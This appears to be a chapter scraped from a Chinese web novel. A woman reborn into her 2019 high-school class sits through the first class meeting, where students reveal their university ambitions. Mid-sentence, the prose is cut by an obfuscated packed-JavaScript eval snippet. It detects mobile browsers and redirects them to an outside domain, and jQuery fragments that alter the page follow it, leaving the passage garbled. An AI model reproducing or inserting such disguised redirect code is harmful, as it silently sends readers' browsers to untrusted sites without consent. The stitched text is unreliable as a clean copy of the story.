这是一个明晃晃的下午。
蓝天欢坐在空无一人的教室里,合上手中的手账本,深吸了一大大大口气——
还是没适应她重生了的事!!
这个棕色的牛皮旅行手账本,是她上高二那年用的第一个手账本。
泛黄的内页不再平整,里面夹了很多纸条使得本子的腰身鼓胀起来,绑绳箍得很紧。表面的牛皮有了很多划痕,有些地方的颜色已经斑驳,或洇黑或泛白。挂在书皮绑绳上的银色铃铛响起来,会像水声一样哗啦啦的。
27岁的她抱着十年前写完的手账本重生回到了十年前——2019年。
没有任何来由,她没生病、没出车祸、没摔跤、没有命悬一线,更没有系统,就因为抱着一个本子睡觉就重生了。
昨晚她本来为了论文正在奋笔疾书,突然脑子一抽,翻起书架上的手账来看,看着看着趴在书桌上睡着了,等再醒来的时候,她趴的地方就不是公寓的白色电脑桌,而是白水一中的教室了。
今夕是何夕呢?
今天下午刚考完开学考最后一门,明天才是高二正式上课的第一天!
黑板头上的时钟显示六点,还有半个小时就上晚自习了,估计很快667班的新同学就会大包小包地搬进来。
白水一中都是在高一下学期铆足力气备战学业水平考试,即云南考生的会考,在上高二前结束所有科目的会考以及文理科分班工作。
在分文理科班的同时,也会把高一的成绩做个汇总,按照成绩分出尖子班,667班便是文科尖子班,取文科年级前20名,作为清北预备役重点培养。
这20位同学来自“天南海北”,从各个班分过来,因为一开学就先开学考,所以大家都还留在自己原来的班,考试结束后再搬到新班级。
班主任已经通知了,今晚开班会。
蓝天欢摸了摸身上,果然从黑色的校裤兜里摸到了手机。
幸好幸好,她松了口气,幸好她从来都不交手机,不然可怎么活呀!
刚考完试,这个时间教学楼里的人不是在吃饭就是在外面闲逛,蓝天欢放心大胆地将手机放到腿上,点开微信,给妈妈发了一个表情包。
一只小猫飞奔向屏幕:[妈妈我想你啦!!!]
摁熄屏幕,收起手机,走出教室左拐,轻车熟路地穿过走廊,去往她在教学楼里永远的秘密花园,永远的栖息之地。
这条通往厕所的路,她闭上眼睛都能走,无需任何技巧,一辈子都不会忘!
上完厕所洗手的时候,蓝天欢站在洗手台的大镜子前仔仔细细看自己这张脸。
十年后的她跟现在没什么变化。
十年前的她也是胖胖的大高个,眼角眉梢都透着搞笑女的诙谐。
“也对,十年过去还是个苦哈哈的学生,学生样能变到哪里去?”
蓝天欢拍了拍自己的脸颊,哼着小曲儿回教室。
她在厕所磨蹭太久,教室里已经坐满了人,大家彼此不熟悉,所以没太多人在交谈,都在忙着整理自己的东西,把书本堆到教室后面的储物柜里去。
667班教室在顶层四楼,教室很宽敞,大概有普通教室的两倍,高一的时候七十多个学生坐着都不觉得拥挤,现在人数锐减,桌子摆成四列,每列五个人,每张桌子周围还有相当的富余,想要多宽就有多宽。
就这样了,教室后面还空出一大片空地,她们以后会在那儿打羽毛球。
隔壁理科尖子班更豪横,他们班主任不知道从哪儿给弄了张乒乓球桌放着,以供休闲娱乐。
这必须是后话了,都是上辈子记忆的事。
蓝天欢撑着脸看班上来来往往的人,多少年没机会见的老同学,终于再见,竟还是少年模样,这样的体验,不是谁都能有的。
离上课只有五分钟了,蓝天欢一直在找的一个人却迟迟没出现,等到预备铃开始唱“我独自走在郊外的小路上……”,她才带着她一蹦一跳的高马尾姗姗来迟,一脸羞涩地找了个位置坐下。
蓝天欢翻了个白眼表示无语。
岑琰是她高中时代乃至今后最好的朋友,重生前一天晚上她俩还在打电话。
按照她对岑琰的了解,她多半早早地就把东西搬进教室安顿好,然后溜之大吉去抓紧时间谈恋爱了,只不过蓝天欢那会儿估计正在上厕所,没遇见她罢了。
让她俩熟起来的那个契机还没到来,她俩暂时还是陌生人。
广播里小红帽的钢琴曲弹完,走廊里还能听到一些嬉笑打闹的声音,667班却诡异地安静下来。
要说之后的她们,那确实是有这样的自律和默契,可以在任何时候默契开场谈天说地,也可以不需要任何人整顿纪律就安静下来埋头苦学。
但现在明显跟之后的情况不太一样。
氛围就像是开了一小条缝的窗户,细细碎碎飘进来一股小蛇似的邪风,这风里,好像有些剑拔弩张的杀气啊。
蓝天欢坐在靠窗边第二列的第三行,属于比较中间的位置,非常方便环视一圈,可才探出头又缩了回去。
她环抱双臂搓了搓,怎么感觉有点阴冷阴冷的。
实在记不得刚见面的时候大家关系怎么样了,总觉得像是相见恨晚,很快就熟起来了,也没记得有这样怪异的前调啊?
她翻了翻手账本,仍是无果,遂作罢。只是合上书本的时候,手账本上的那颗铃铛骤然丁零当啷地响起来,吓得她赶忙停下动作。
蓝天欢咽了口唾沫,心道糟糕,不会重生错了地方,这其实是平行时空,不是原来的那个世界吧?
就在这样阴冷的沉闷中,667班的最后一位故人粉墨登场。
刘从茂带着一副厚重的银框眼镜,在讲台上清了清嗓子,露出他和蔼可亲的标志性微笑,他摇头晃脑地一开口,蓝天欢就想给他P一个“百家讲坛”的字幕。
“屈原曾写过,‘悲莫悲兮生别离,乐莫乐兮新相知’,是说世界上啊,再没有比认识新朋友更快乐的事了。”
“唐诗人鲍溶有云,‘山河不足重,重在遇知己’,与知己好友相交的情谊,更胜过万水千山的壮美。”
“而我现在的情感却是‘与君初相识,犹如故人归。’各位同学,今日幸会于此,相信各位也是‘相逢意气为君饮,系马高楼垂柳边。’”
“既然如此,我要问大家三个问题。一,相逢是否有缘?二,相见是否如故?三,为‘春风得意马蹄疾’的那一日做好准备了吗?”
教室里果然跟听说书似的,反馈雷鸣般的掌声和此起彼伏的欢呼声……还有几声吆喝。
开门见山一段话,就俘获了学生的青睐。
这个矮胖矮胖的中年人挺着弥勒佛似的啤酒肚,戴着副眼镜总是笑眯眯,说话风趣幽默,肚子里有些墨水,以渊博的知识跟和蔼温柔的性格迷倒整个年级,受许多学生追捧甚至臣服。
蓝天欢大喇喇地靠在椅背,揣着手冷笑两声,哼,卖弄风/骚。
刘从茂高一就是667班的班主任,现在班号不变,换了一批学生,不知道是幸运还是不幸,蓝天欢跟他的轨迹也一样,从高一起就是667班的学生,一直在他手底下。
高一开始他就是这种风格,到哪儿都不忘卖弄点诗经楚辞的,引得很多学生投去崇拜的眼光。
她记得上辈子也是有些钦佩刘从茂的才华,只不过没到追捧的地步,所以毕业十年也淡忘了。
比起刘,她还是最喜欢许昭昭,甘心做昭昭老师的“舔狗”跟班,所以上辈子一见到高二的新同学,就迫不及待大肆宣扬许昭昭有多好多好
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447078|169426||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,结果第二天发课表才知道她们换了英语老师。
蓝天欢此刻最纳闷的就是,她对刘从茂应该是不讨厌的,但为什么现在想起来会有点别扭,像是闹肚子的前奏,肠子在旋转,胃晃荡着有向上爬的趋势,但仔细感受又什么都没有,好像只是空气在作怪。
算了不纠结,她自知心高气傲,唯一服气的老师就是许昭昭,所以对任何老师不屑都正常。
而且可能是她年纪大了,都27岁的人了,看到这样台上表演才华,台下欢呼鼓掌的场景,实在觉得太尬了呀!!!
她都想把眼睛闭上了。
刘从茂扶了下眼镜:“好了好了,低调一些。咱们先不急着回答我的三个问题,答案留在大家心中就好。先自我介绍一下,我叫刘从茂,是你们未来两年的语文老师,也是班主任。初次见面,请多关照。”
他捏起一截粉笔,笔走龙蛇,在黑板上书写“刘从茂”三个大字,字体倒是大气,上辈子蓝天欢给它命名为“上世纪武将风格大块头草书”,现在也决定沿用。
又有人带头鼓起掌来。
蓝天欢微微侧过身子偷睨后桌的人,满意地收回眼神。
她就知道江嘉李也不会鼓掌的。
“在正式开始我的讲话之前,我想问大家一个问题,这个问题说来也简单,就是不知道大家心中有没有答案。”
刘从茂的目光在每个人身上轮转,笑着道:“两年之后,目标院校是哪里,有想法吗?”
667班的学生向来爱憎分明,爱之欲其生,恶之欲其死,像刘从茂这样受欢迎的老师,就算说一句“牙痛”都会有无数人接话,课堂更是不会冷场。
可方才还热情鼓掌的教室却静了下来。
这样诡异的安静再次降临,又冒出了南风从某条缝里窜进来的细弱鬼叫。
蓝天欢走神好一会儿了,猛地被这寂静敲醒,看了看左邻。
大家一副欲言又止的样子,眼神落到各自的桌面上,不敢抬头 ,但是某种东西如同即将喷薄而出的岩浆,呼之欲出。
明白了,明白了。
蓝天欢终于明白这诡异的安静是什么了。
害,不就是一群小鬼头,暗暗较劲嘛。
都以为像故事里写的那样,高手遇高手就是敌人相见,第一件事必然是切磋,暗地里都吐着信子,静待搏击开场。
这病好治,两包辣条扔进毒蛇堆里,保管马上打成一片,化敌为友。
明早她就去买。
一声迸发的嗤笑,打破了这世纪般恒长的静默。
江嘉李手头转动着一支百乐p500,眼神落在晃动的笔尖上,漫不经心的语调像是从嗓子里吹出的一口气。
“北大呗,不然还能是哪儿?”
说完她发觉四下太过安静,全班都往她这儿看。她觉得自言自语的这句话显得有些突兀了,摁住手上的笔,坐直了身子。
蓝天欢微微愣住,还没抬起头来看一眼,就觉得铺天盖地涌上来异口同声的话语。
“当然是北大呀……”
“对啊,不然呢……”
“不拼一把枉少年……”
“咱们班上都有可能考北大吧,为什么不可能是我呢?”
蓝天欢不用看也能想象出她们此时此刻的样子,一定是低着头,细弱的声音从微微张开的唇齿间流出来,恨不得使用腹语术。
667班的学生就是这点怪,不是人人都敢大声说话,却好在人人都敢说。
蓝天欢好像觉得自己现在真的是17岁了。
她感受到了少年时才有的那种愿为天下先的张狂。
她想像《致命女人》里的Simone一样高喊一声:“Oh! Youth! ”
太猛了,太虎了,太青春了。